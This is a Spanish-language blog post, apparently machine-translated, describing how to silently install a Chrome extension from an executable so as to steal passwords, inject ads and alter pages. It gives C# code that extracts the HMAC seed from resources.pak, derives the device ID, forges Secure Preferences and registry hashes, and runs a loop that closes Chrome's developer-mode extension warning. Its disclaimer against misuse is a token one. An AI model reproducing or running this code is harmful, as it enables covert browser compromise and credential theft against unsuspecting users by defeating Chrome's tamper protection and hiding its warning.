
Buen día, querido lector! Chrome se actualiza, pero no hay nuevos artículos sobre cómo instalar mediante programación una extensión en Chrome, además de --load-extension - pero esta no es nuestra opción, porque no estamos buscando formas fáciles. Hoy les diré cómo es realmente posible obtener todo con un exe-shnik: contraseñas, cambiar contenido, cómo robar, etc. - pero esto
no es
un llamado a la acción , sino solo un artículo para su revisión. Todo el jugo debajo del corte.
Y entonces, ¿qué nos permite hacer la extensión en modo desarrollador? Bueno, como una extensión regular, puede funcionar en todos los sitios y, por ejemplo, descifrar contraseñas, implementar anuncios, etc. Pero la extensión en modo desarrollador da acceso a otra función, que parece no ser muy importante, pero puede ser útil: tenemos acceso al sistema de archivos. Sí, vamos a lanzar este exploit desde un archivo exe y, en principio, realmente no lo necesitamos, pero ¿y si?
Analizamos archivos
Entonces, para empezar, puede ver qué archivos diferirán después de instalar la extensión, podemos encontrar que es% appdata% \ .. \ Local \ Google \ Chrome \ User Data \ <perfil> \ Preferencias seguras. Copiemos el contenido, eliminemos la extensión y restauremos la copia, ¡bam aquí! y la expansión funciona de nuevo. Mirando la ID, puede ver que dos valores están cambiando con esta clave: extensiones.settings.id y protection.macs.extensions.settings.id: el primero es la configuración, el segundo es algún tipo de hash. Subimos al género y vemos: este es el HMAC SHA256. ¿Pero de qué lo saca? Entremos al depurador, adjuntemos a Chrome y carguemos símbolos desde
https://chromium-browser-symsrv.commondatastorage.googleapis.com
Violación de cromo
Wow! Encontramos el archivo pref_hash_calculator.cc, descargamos, establecemos un descanso en
std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const
Op - obtenemos seed_ - la clave para HMAC, y también descubrimos que concatena tres líneas y toma el resultado como HMACSHA256 (device_id + ruta + valor, seed_). Bien, echemos un vistazo a nuestra semilla_, y aquí nos espera el primer disgusto: es solo la línea "ChromeRegistryHashStoreValidationSeed": pregunte, ¿qué tiene de malo? Y veamos el resultado del cálculo, compare el hash y el hash resultantes en el archivo a lo largo de este camino; estamos decepcionados, ¡pero no! La palabra clave en la clave es "Registro", subimos al registro, miramos, y de hecho, esta es la clave para los hashes en el registro, lo necesitaremos.
Débito, rebaja, y en todas partes solo esta clave, ¿qué está mal? Ahora echemos un vistazo a la duración de una clave estándar para el HMACSHA256. 64 bytes, y lo más probable es que esto no sea una línea, sino algún tipo de byte. Clasificación? ¡No tengas tiempo! El primer supuesto, nuestro seed_ está codificado en cada versión de Chrome, intentemos clasificar todas las opciones para 64x bytes consecutivos en archivos binarios y archivos de Chrome. Escribimos un script simple y en aproximadamente una hora obtenemos el primer resultado: nuestra semilla_ se encuentra en resources.pak. Busquemos en Google la estructura.

Versión 4, la nuestra es 5. Algo está mal, ¿tal vez la estructura no ha cambiado? Pero no Después de algunos intentos, obtenemos que la estructura es la siguiente: 4 bytes versión (5), 4 bytes - codificación (1), 2 bytes - número de registros, 2 bytes, no está claro qué. A continuación están las entradas en el formato: 2 bytes - ID, 4 bytes - desplazamiento relativo al comienzo del archivo. Estamos buscando una sección con una longitud de 64 bytes, y sí, la encontramos, esta es nuestra semilla_. Ahora escribamos una función para buscar seed_ en resources.pak para el archivo de la cuarta y quinta versión:
public static byte[] GetSeed(string resources_pak) {
Bien, cambiemos la configuración e intentemos reemplazar el hash - fallo. Lo primero que se puede encontrar en las clases de cromo es que todos los objetos vacíos se eliminan del valor. OK, se dice, hecho.
Nuevamente falla: también necesitamos generar el mismo HMACSHA256 desde protection.macs, la ruta en este caso debe omitirse. Genial Recibido Pero, nos olvidamos por completo de device_id, ¿dónde puedo obtenerlo? En versiones anteriores, este es MachineID de alguna biblioteca RLZ de terceros. En los nuevos, solo el SID de la PC. ¿Cómo conseguirlo? Para la segunda opción y nuevas versiones de Chrome:
public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else {
Y, para la versión anterior:
public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); }
Y así, queda burlarse de la configuración y guardar el archivo, pero cerrando el cromo:
public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = " "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process();
Además, tenga en cuenta que ahora, cuando abre el navegador, se abre la ventana "Deshabilitar extensiones en modo desarrollador": cómo cerrarla ya es una opción de todos. ¿Cómo puedo dejar una secuencia detrás de mí que cierre esta ventana a través de WinAPI?
public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } }
¡Buena suerte y piratería ética! Quién sabe cómo hacer lo mismo con Yandex Browser: sería muy interesante saber si he estado tratando de recuperarlo durante una semana, no está funcionando.